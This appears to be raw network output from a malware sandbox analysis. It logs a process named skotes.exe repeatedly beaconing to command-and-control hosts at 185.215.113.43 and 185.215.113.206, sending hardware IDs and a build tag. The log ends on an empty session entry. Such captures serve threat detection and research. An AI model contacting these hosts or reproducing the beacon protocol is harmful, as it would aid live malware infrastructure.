Nov 24, 2024 14:29:30.049113035 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJJDGHCBGDHIECBGIDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="build"mars------GHJJDGHCBGDHIECBGIDA--
Nov 24, 2024 14:29:30.508737087 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:29:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50364	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:28.684520006 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:30.067435980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50365	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:31.813633919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:33.393598080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50366	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:35.031965017 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:36.470516920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50368	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:38.215857029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:39.638714075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50370	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:41.266211033 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:42.670214891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50372	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:44.408847094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:45.795473099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50385	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:47.483565092 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:48.890919924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50406	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:50.643657923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:52.081867933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50409	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:53.723211050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:29:55.115780115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50411	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:56.858388901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:29:58.205900908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50412	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:29:59.833688974 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:01.247189045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50413	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:02.988944054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:04.376620054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50415	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:06.013470888 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:07.390888929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50417	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:09.140235901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:10.527596951 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50418	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:12.155378103 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:13.545823097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50419	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:15.291917086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:16.638287067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50420	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:18.273487091 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:19.617712021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50424	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:21.363976002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:22.694762945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50426	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:24.321211100 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:25.772692919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50428	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:27.516707897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:28.894009113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50429	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:30.531871080 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:30:31.927330971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50430	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:30:33.668875933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:30:35.046015024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50431	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
